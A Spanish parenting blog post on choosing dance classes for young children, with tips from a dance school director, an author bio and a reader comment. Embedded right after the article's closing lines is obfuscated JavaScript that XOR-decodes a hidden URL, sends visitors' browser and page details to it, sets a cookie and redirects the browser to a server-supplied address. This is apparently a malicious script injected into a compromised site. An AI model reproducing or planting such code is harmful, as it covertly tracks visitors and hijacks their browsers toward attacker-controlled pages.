Cómo elegir la mejor clase de baile para los peques

Comienza el curso y los padres nos volvemos locos por apuntar a nuestros hijos a 28 extraescolares, pero claro, teniendo en cuenta que la semana solo tiene siete días… Luego también está el hecho de que no podemos meterles todos los días una actividad después del colegio, porque sería saturarles hasta el extremo. Y al hilo de esto recuerdo lo que una madre profesora que conocí este verano en mis vacaciones de la playa me comentó sobre un alumno de su clase: “Estaba todo el rato inquieto y muy cansado, no atendía a lo que le decía y pedí hablar con la madre. Lo que me temía, el niño iba de lunes a viernes a una actividad y estaba siempre agotado”.
Elena continúa este año con inglés, porque creo que es muy importante para su futuro, pero a su vez quiero que haga algo de movimiento físico, así que le pregunté a ella qué le apetecía y su respuesta fue bailar. Empecé a investigar y las posibilidades son infinitas, desde el clásico y el flamenco de toda la vida hasta las variedades surgidas en los últimos años como hip hop, zumba, baby fun… Más dudas. Lo que se me ocurrió entonces fue hablar con un profesional del sector como Laura Gómez, directora de la escuela de baile Laura La Caleta, para que me contara qué debemos tener en cuenta a la hora de elegir un centro, quitando claro los factores de logísitca y economía que ya mira una madre de por sí.
1. Es necesario encontrar unas clases que estén adaptadas a sus necesidades.
“No podemos tratar de que sigan técnicamente los movimientos de un adulto, porque su mente y su cuerpo no están preparados para ello. ¡Cómo vamos a ponerle unos tacones a una niña o querer que un nene gire sobre sí mismo si aún están ubicándose y encontrándose a nivel motor”, explica Laura. Por eso recomienda empezar con predanza o danza en movimiento.

2. Los beneficios de esta disciplina son infinitos tanto a nivel individual como colectivo, ya que ayuda a relacionarse con los demás, se trabaja mucho la cooperación y la colectividad, además del desarrollo físico y psíquico del alumno.
3. Cada edad tiene su proceso de aprendizaje. “Entre los cuatro y los seis años lo ideal es una predanza para que den rienda suelta a su imaginación y creatividad, tomen conciencia de su propio cuerpo y desarrollen su ritmo innato, todo, por supuesto, a base de juegos y de una manea lúdica y divertida. A partir de los siete ya se puede empezar con pinceladas de técnica y los ocho y nueve años son perfectos para trabajar la técnica porque son esponjas e imitan, comprenden y coordinan”, añade Laura.
4. El tiempo dedicado a esta extraescolar varía según la edad del niño y de la jornada escolar que tenga. Laura recomienda para los más pequeños uno o dos días a la semana y según van siendo mayores o quieran especializarse se puede ir aumentando a tres o cuatro.
5. La disciplina elegida, en este caso la danza, les tiene que llamar la atención, pero el papel del profesor es fundamental para que el amor por esta actividad vaya en aumento. Además de ser un buen bailarín, este tiene que saber enseñar. Puede sonar un poco violento, pero no está demás preguntar en la academia por la formación del responsable de la clase y si tiene nociones de pedagogía psicológica, ha estudiado en el conservatorio, tiene algún máster de artes escénicas…
6. Por último, una corriente muy extendida últimamente es apuntar a nuestros hijos a todo en inglés: fútbol en inglés, música en inglés, cocina en inglés… ¡¡¡y muchas veces lo que hacemos es complicarnos la existencia!!! “En una clase de ballet los nombres de los pasos son en francés y esto es universal. Además, ¿para qué les vas a hablar en inglés si no van a entender la ejecución exacta de un paso y se pueden lastimar? Creo sinceramente que todo tiene su momento y su contexto”, concluye Laura.

Con estas pautas, yo ya he buscado dos academias de baile por mi zona. Elena ha hecho  la clase de prueba en las dos y  ya me ha dicho cuál le ha gustado más. ¿Habremos elegido bien? ¡Seguro que sí! var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Sobre Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo tres peques y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N

4 comentarios en “Cómo elegir la mejor clase de baile para los peques

  1. Muy buen artículo.
    No es una tarea fácil seleccionar actividades extraescolares para nuestros hijos, son muchas las opciones que hay.
    El baile es una muy buena opción, sin duda alguna lo recomiendo!
    Muchas gracias por publicar este artículo con todos nosotros, será de gran ayuda.

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